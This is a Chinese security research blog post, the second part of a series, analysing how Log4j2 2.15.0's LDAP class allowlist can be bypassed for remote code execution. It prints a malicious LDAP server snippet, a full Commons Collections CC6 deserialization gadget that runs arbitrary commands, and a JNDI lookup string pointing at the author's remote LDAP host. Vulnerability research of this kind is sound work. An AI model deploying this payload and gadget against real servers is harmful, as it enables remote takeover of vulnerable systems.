浅谈Log4j2之2.15.0版本RCE(二)

简介: 浅谈Log4j2之2.15.0版本RCE

RCE分析

这一节的内容主要是分析:如果能够绕过localhost拿到目标IP情况下如何RCE

假设127.0.0.1#.4ra1n.love可以正常拿到IP地址,接下来需要解决RCE的问题

在文章一开始就有分析到,在2.15.0中禁了LDAP的javaFactory属性导致无法加载远程类,那么还能有什么思路呢

回顾0x00核心代码中的一个if分支

// javaSerializedData属性如果存在
if (attributeMap.get(SERIALIZED_DATA) != null) {
   if (classNameAttr != null) {
       String className = classNameAttr.get().toString();
       // javaClassName是否为八大基本类型
       if (!allowedClasses.contains(className)) {
           LOGGER.warn("Deserialization of {} is not allowed", className);
           return null;
      }
      ...
  }
}


分析下lookup底层的LdapCtx.c_lookup方法

// 一个全局数组后面会用到
static final String[] JAVA_ATTRIBUTES = new String[]{
   "objectClass", // JAVA_ATTRIBUTES[0]
   "javaSerializedData", // JAVA_ATTRIBUTES[1]
   "javaClassName", // JAVA_ATTRIBUTES[2]
   "javaFactory", // JAVA_ATTRIBUTES[3]
   "javaCodeBase", // JAVA_ATTRIBUTES[4]
   "javaReferenceAddress", // JAVA_ATTRIBUTES[5]
   "javaClassNames", // JAVA_ATTRIBUTES[6]
   "javaRemoteLocation" // JAVA_ATTRIBUTES[7]
};

其中有这样一句针对javaClassName的校验,但仅仅是非空校验

// var4是LDAP Server传过来的数据
// 如果javaClassName不为空则进入Obj.decodeObject
if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
   var3 = Obj.decodeObject((Attributes)var4);
}


跟入decodeObject方法

static Object decodeObject(Attributes var0) throws NamingException {
  ...
   try {
       Attribute var1;
       // 如果javaSerializedData不为空
       if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
           // 类加载器
           ClassLoader var3 = helper.getURLClassLoader(var2);
           // 跟入
           return deserializeObject((byte[])((byte[])var1.get()), var3);
      }
  ...
}


跟入deserializeObject方法,没有什么限制条件

private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
   try {
       // var2中保存了序列化数据
       ByteArrayInputStream var2 = new ByteArrayInputStream(var0);
       try {
           // 得到一个ObjectInputStream
           Object var20 = var1 == null ?
               new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1);
           Throwable var21 = null;
           Object var5;
           try {
               // 反序列化调用对象的readObject方法
               var5 = ((ObjectInputStream)var20).readObject();
          }
          ...
      }
  }
}

可以看到整个过程中没有对javaClassName和javaSerializedData验证

也就是说核心代码中类名白名单对javaClassName的限制没有用处,可以轻松绕过

然后将javaSerializedData属性设置为gadget的序列化数据,即可在readObject中触发RCE

(其实这个过程正是JDNI绕高版本JDK的一种方式)


RCE过程

这一节主要是搭建RCE的环境,编写特殊的LDAP Server

上文分析出了一种RCE的方式,但没有真正的实践

在LDAP Server中设置javaClassName为基本类型,然后设置javaSerializedData为Payload

这里的java.lang.String可以绕过类目白名单的检测

protected void sendResult(InMemoryInterceptedSearchResult result, Entry e) throws LDAPException {
   e.addAttribute("javaClassName", "java.lang.String");
   e.addAttribute("javaSerializedData", payload);
   result.sendSearchEntry(e);
   result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

Payload选用了CC6链(这个就不分析了,也可以用很多其他的gadget来触发)

public static byte[] getCC6(String cmd) {
   try {
       Transformer transformer = new ChainedTransformer(new Transformer[]{});
       Transformer[] transformers = new Transformer[]{
           new ConstantTransformer(Runtime.class),
           new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                                  new Object[]{"getRuntime", new Class[]{}}),
           new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                                  new Object[]{null, new Object[]{}}),
           new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
      };
       Map map = new HashMap();
       Map lazyMap = LazyMap.decorate(map, transformer);
       TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
       HashSet hashSet = new HashSet(1);
       hashSet.add(tiedMapEntry);
       lazyMap.remove("test");
       Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
       field.setAccessible(true);
       field.set(transformer, transformers);
       ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
       ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
       objectOutputStream.writeObject(hashSet);
       objectOutputStream.close();
       byte[] data = outputStream.toByteArray();
       outputStream.close();
       return data;
  } catch (Exception e) {
       e.printStackTrace();
  }
   return null;
}

我将写好的LDAP Server部署到远程服务器上(该工具以后分享,最近不太方便)

920f73226cd3d635a86da3e42d31c8c3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


本地引入Log4j2 2.15.0与CC依赖

<dependencies>
   <dependency>
       <groupId>org.apache.logging.log4j</groupId>
       <artifactId>log4j-api</artifactId>
       <version>2.15.0</version>
   </dependency>
   <dependency>
       <groupId>org.apache.logging.log4j</groupId>
       <artifactId>log4j-core</artifactId>
       <version>2.15.0</version>
   </dependency>
   <dependency>
       <groupId>commons-collections</groupId>
       <artifactId>commons-collections</artifactId>
       <version>3.2.1</version>
   </dependency>
</dependencies>


配置开启lookup功能

<configuration status="OFF" monitorInterval="30">
   <appenders>
       <console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
           <PatternLayout pattern="%m{lookups}%n"/>
       </console>
   </appenders>
   <loggers>
       <root level="error">
           <appender-ref ref="CONSOLE-APPENDER"/>
       </root>
   </loggers>
</configuration>


打日志

public static void main(String[] args) throws Exception {
   logger.error("${jndi:ldap://127.0.0.1#.4ra1n.love:1389/badClassName}");
}


由于我的环境是Windows会在处理包含#号的Host时报错,所以在this.context.getAttributes(name);下断点并去掉#号

4821ba3550bc40d2f6c6085f44f2d23f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


由于4ra1n.love域名开启了泛域名解析,所以127.0.0.1.4ra1n.love也会解析到对应的IP

成功利用本地的gadget达到RCE的效果

f2f5c49dece72f8cd78d4d34bec3ab43_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


RCE实现

终于在这一节实现了真正的RCE

为了验证在MacOS中的结果,我将漏洞环境打包发给了天下大木头师傅

然后在服务端启动MacOS弹计算器的LDAP Server(该工具以后分享,最近不太方便)

3e441c79458ff280bed2d06a0c28ed6e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


木头师傅成功在MacOS上RCE,不需要进行其他修改

adf4eccb647ee45434343f3c3f769a8f_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

相关文章
|
8月前
|
消息中间件 安全 Dubbo
Log4j安全漏洞前车之鉴,呕心整理工作中常用开源组件避坑版本
Log4j安全漏洞前车之鉴,呕心整理工作中常用开源组件避坑版本
124 0
|
9月前
|
安全 Java 开发者
刚折腾完Log4J,又爆Spring RCE核弹级漏洞
继Log4J爆出安全漏洞之后,又在深夜,Spring的github上又更新了一条可能造成RCE(远程命令执行漏洞)的问题代码,随即在国内的安全圈炸开了锅。有安全专家建议升级到JDK 9以上,有些专家又建议回滚到JDK 7以下,一时间小伙伴们不知道该怎么办了。大家来看一段动画演示,怎么改都是“将军"。
83 1
|
10月前
|
消息中间件 弹性计算 数据可视化
SpringBoot 整合 Elastic Stack 最新版本(7.14.1)分布式日志解决方案,开源微服务全栈项目【有来商城】的日志落地实践
SpringBoot 整合 Elastic Stack 最新版本(7.14.1)分布式日志解决方案,开源微服务全栈项目【有来商城】的日志落地实践
|
4月前
|
存储 监控 Serverless
在处理阿里云函数计算3.0版本的函数时,如果遇到报错但没有日志信息的情况
在处理阿里云函数计算3.0版本的函数时,如果遇到报错但没有日志信息的情况【1月更文挑战第23天】【1月更文挑战第114篇】
65 5
|
8月前
|
IDE Linux 开发工具
IntelliJ IDEA 2023.2.1 修复版本日志
IntelliJ IDEA 2023.2.1 修复版本日志
|
12月前
|
存储 关系型数据库 MySQL
|
Linux CDN
利用工具合并CDN日志操作——Linux版本
利用工具合并CDN日志操作——Linux版本自制脑图
132 0
利用工具合并CDN日志操作——Linux版本
|
CDN Windows
利用工具合并CDN日志操作——Windows版本
利用工具合并CDN日志操作——Windows版本自制脑图
113 0
利用工具合并CDN日志操作——Windows版本
|
域名解析 安全 网络协议
浅谈Log4j2之2.15.0版本RCE(一)
浅谈Log4j2之2.15.0版本RCE
243 0
浅谈Log4j2之2.15.0版本RCE(一)
|
云安全 安全 Java
Apache Log4j2从RCE到RC1绕过
Apache Log4j2从RCE到RC1绕过
79 0
Apache Log4j2从RCE到RC1绕过